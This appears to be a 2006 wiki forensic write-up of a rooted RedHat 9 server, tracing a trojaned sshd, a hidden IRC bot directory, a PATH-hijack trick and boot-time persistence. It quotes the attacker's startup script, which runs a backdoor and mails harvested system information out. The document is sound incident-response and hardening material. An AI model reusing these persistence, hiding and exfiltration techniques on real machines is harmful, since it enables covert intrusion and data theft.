Compromise Analysis 12/7/2006

From BcWiki
Jump to: navigation, search

I was asked to look at a RedHat 9 system on which key-based (passwordless) SSH logins had suddenly stopped working. After some initial troubleshooting (regenerating the keys, checking sshd_config settings) I began to suspect the system had been compromised. It wasn't long before my suspicions were confirmed.



When I checked /var/log/messages I saw some concerning entries. Through these I tracked down a "replacement" ssh server in /usr/local/sbin. At this point I began looking for the origin of the compromise, but also continued looking at what all was wrong with this system. Many times when we see a system that's been rooted, it starts with a local user (uid >=500) who has a shell and a weak password. I checked /etc/passwd for local users with shells. While in there I noted that, rather than the default of /bin/bash, most shell users were assigned to /bin/sh (which was symlinked to /bin/bash anyway, but odd nonetheless). I went ahead and checked these users' home folders for signs of compromise. Nothing stood out. I noted that the system user created for postgresql (postgres) had a shell, and decided to check him later. During this time I also decided to see what was listening on the system (lsof -i -n -P) and I found some very interesting things listening on ports where they should not be. One of these listeners was being called from a script named startrk by way of/etc/rc.d/rc.local which, of course, runs at boot time. The script looked like this (I intentionally obscured the email address):

cd /usr/bin
"(swapd)" &
./infoz > informatzii
cat informatzii|mail -s "Another looser for my master"
cd $bb

I also noted that postgresql was running, and I was pretty sure it should not be. I went to /etc/rc.d/init.d/ to check the script that starts postgresql for modifications. In that folder I noticed a lock file for postgresql and httpd. I was pretty sure those files should live somewhere under /var/lock and that this was a further sign of trouble. At this point I decided to go ahead and look in the home folder for the postgres user for signs of compromise. BINGO In /var/lib/pgsql there was a folder that's typically a tell-tale sign of dirty deeds: an extra 'dot' folder. The second one is actually named ". " but we won't see that in a directory listing. We can get to it by using cd ". ". Many compromises use similar naming techniques to hide such folders. In a shell with auto-complete it can be easier to find these folders.

So what was in the "/var/lib/pgsql/. " folder?

[root@server root] cd "/var/lib/pgsql/. "
[root@server . ]# ls -l
total 0

Oh, nothing. Guess we'll move on to another folder. NOT.

[root@server . ]# ls -la
total 12
drwxr-xr-x   3 postgres postgres     4096 Nov 25 09:18 .
drwx------   5 postgres postgres     4096 Nov 24 05:11 ..
drwxr-xr-x   3 postgres postgres     4096 Dec  7 08:49 .bash

If that folder contains stuff related to the bash shell and its settings, then my name is Big Bird.

[root@server . ]# ll -a .bash/
total 820
drwxr-xr-x   3 postgres postgres     4096 Dec  7 08:49 .
drwxr-xr-x   3 postgres postgres     4096 Nov 25 09:18 ..
-rw-r--r--   1 postgres postgres       88 Dec  6 17:10 1
-rw-r--r--   1 postgres postgres       88 Oct 27 16:03 2
-rw-r--r--   1 postgres postgres      528 Dec  6 17:10 alex.seen
-rwxr-xr-x   1 postgres postgres   169692 Nov 25 09:25 pico
-rwx------   1 postgres postgres   612470 Nov 25 09:24 postgres
drwxr-xr-x   2 postgres postgres     4096 Feb 23  2005 randfiles
-rw-r--r--   1 postgres postgres     1043 Dec  6 17:10 raw.levels
-rw-------   1 postgres postgres        6 Nov 25 09:25
-rw-r--r--   1 postgres postgres      449 Dec  6 17:10 raw.session
-rw-r--r--   1 postgres postgres     1317 Nov 25 09:24 raw.set
-rwxr-xr-x   1 postgres postgres      163 Nov 25 09:25 crap

These files provided an IRC server for some folks. With this information I think I was fairly safe to assume that the compromise came through the postgresql service. This server has been in service for over 3 years, and postgresql may have been turned on by default. At the least, they had taken advantage of postgresql to run their IRC server. But further analysis, not included here, also made me think that perhaps this system had been rooted in the past and postgresql was perhaps turned on at that time. Not sure.

Going back a bit, at some point during my analysis I noted that running /sbin/service (i.e. 'service sshd restart') produced a suspicious error.

sh: line 1: (swapd): command not found

Nice. What would possibly cause that? Running the command by itself (i.e. '/sbin/service') didn't generate an error. Perhaps several of the services scripts had been modified. So looking back in the folder where service-starting scripts are stored, I sorted by file mod times and noticed that the file /etc/rc.d/init.d/functions had a very recent mod-time (within 2 weeks); it had this line appended to the bottom:

/usr/bin/crontabs -t1 -X53 -p

That can't be normal. So we add /usr/bin/crontabs to our list of suspicious files.

-r-x------   1 root     root        11814 Oct 11  2002 crontabs

I ran the program manually and got the same error that /sbin/service had been generating earlier. This little bugger was calling the (swapd) whenever I ran the service command. The error was happening because I had moved (swapd) earlier in the analysis.

I hadn't forgotten about the samba service running on an odd port. But tracking it down was not as expedient at the time. Coming back later, I noticed a very odd thing. Observe:

[root@server root]# which smbd
[root@server root]# cd /usr/sbin/
[root@server sbin]# ll smbd

Nothing. No error, but no file listing. That's messed up. I tried something else:

[root@server root]# ll /usr/sbin/smbd 
-rwxr-xr-x   1 root     root      1794708 Mar 13  2003 /usr/sbin/smbd

Very odd. I wondered if perhaps locate would help us. Yes, it did:

[root@server root]# locate smbd
/usr/bin/smbd -D

Um, whoa. I'm pretty sure 'smbd -D' is not supposed to be a program name. But why would this affect anything? Simple, as I found out.

  • The startup script /etc/rc.d/init.d/smb looks in /etc/sysconfig/samba for options to use when calling the program. We find SMBDOPTIONS="-D".
  • The startup script then runs daemon smbd $SMBDOPTIONS which will call smbd with the aforementioned options, then daemonize it (run it in the background).
  • This creates the command daemon smbd -D.
  • Both "/usr/sbin/smbd" & "/usr/bin/smbd -D" are in the system path. Apparently "smbd -D" is a better or sooner match, and it got called first. Tricky and simple.

This makes a good case for calling daemons and programs with explicit paths.


Vector and approximate date of compromise

About 2 weeks prior to my arrival on-scene, this box had been rooted, apparently through the postgresql service. But there were signs here and there that it might have been compromised for much longer than that. The most recent compromise had broken sshd, which is really the only reason it got attention. Most script-kiddies today don't want to DoS every victim; many times they need an anonymous or free (or both) box to run their IRC servers.

What do we do with this box from here?

In any case, this box could no longer be trusted. Too many things had been broken and surgical, piece-by-piece repair was no guarantee to get this guy trustworthy again. The only answer was scorched-earth, which, as of this writing, is in the near future. That's not so bad an option, considering that the OS is no longer supported. Not only so, but it would be safe to change any password on this box - assume it's been sniffed and recorded somewhere. And if the root password is used for other boxen in this network, assume it will be used on other boxen in this network in the near future. Another good reason to disable passworded ssh logins and use public keys. And disable shell login for any user who does not absolutely need it.

What could have prevented this

No networked box is completely secure. But we can always take steps to lessen the possiblity of compromise. Several things could have prevented this.

  • Firewalling, both at the router and on the host

Enable ssh connections only from a single authorized box in the network. Allow connections to services like PostgreSQL or MySQL only from the boxes in the local network that need it. In a nutshell, determine what has to be accessible from the Internet (perhaps tcp/80 & tcp/443), and block everything else from the Internet.

  • Turn off unnecessary services

I don't know that PostgreSQL needed to be running; I have yet to verify that. But if not, then this compromise happened largely because of a completely unnecessary service was running and was not firewalled.

  • Audits

Occasionally check the box for oddities: programs/processes that should not be running, open ports that should be closed, unexpected traffic. Run an audit service like tripwire that can fire off alerts when something gets broken.


from /etc/rc.d/init.d:

-rw-r--r--   1 root     root            6 Jul 21  2003 /etc/rc.d/init.d/httpd.lock
-rw-r--r--   1 root     root            6 Jul 21  2003 /etc/rc.d/init.d/postgresql.lock

from /var/lib/pgsql:

drwx------   5 postgres postgres     4096 Nov 24 05:11 .
drwxr-xr-x   3 postgres postgres     4096 Nov 25 09:18 . 
drwxr-xr-x  20 root     root         4096 Jul 17  2003 ..
-rw-r--r--   1 postgres postgres      107 Feb 15  2003 .bash_profile
drwx------   2 postgres postgres     4096 Feb 15  2003 backups
drwx------   6 postgres postgres     4096 Dec  6 17:12 data
-rw-r--r--   1 root     root          147 Jul 21  2003 initdb.i18n

from /usr/local/sbin:

lrwxrwxrwx   1 root     root            5 Nov 28 13:35 sshd -> sshd2
-rwxr-xr-x   1 root     root      2539235 Nov 28 13:35 sshd-check-conf
lrwxrwxrwx   1 root     root            5 Nov 19 02:19 sshd.old -> sshd2
-rwxr-xr-x   1 root     root      3957363 Nov 28 13:35 sshd2

from /usr/bin:

lrwxrwxrwx   1 root     root            4 Jul 17  2003 [ -> test
-rw-r--r--   1 root     root        29406 Nov 19 02:02 informatzii
-rwx--x--x   1 root     root         5465 Nov 19 02:02 infoz
-rwxr-xr-x   1 someuser someuser    97093 Feb 15  2001 (swapd)
-rwxr-xr-x   1 root     root        22140 Feb 18  2003 test

Log entries

Normally ssh log entries will look like this:

Dec  6 22:10:20 servername sshd(pam_unix)[1563]: session opened for user bob by (uid=0)

But on our sick host, we saw something a little different. Notice what's conspicuously missing.

Dec  6 16:37:17 servername     [18984]: Password authentication for user bob accepted.

This is logged when root tried a key-based login.

Dec  6 16:39:58 servername     [19165]: Parsing authorization file /root/.ssh2/authorization resulted in error (user root tried to authenticate)


These were the ssh daemons. The lower PID was the master process; the higher PID was running my session.

 2376  ?      S    0:00 \37777777724[\001@@~\015@\001      
15952  ?      R    0:00 \37777777724[\001@@~\015@\001

The daemon running these is at least partially responsible for the ssh syslog entries having no daemon name.

Open ports

Portion of the results of 'lsof -i -n -P'

smbd         24     root    3u  IPv4     40       TCP *:5434 (LISTEN)
(swapd)      33     root    3u  IPv4     40       TCP *:3153 (LISTEN)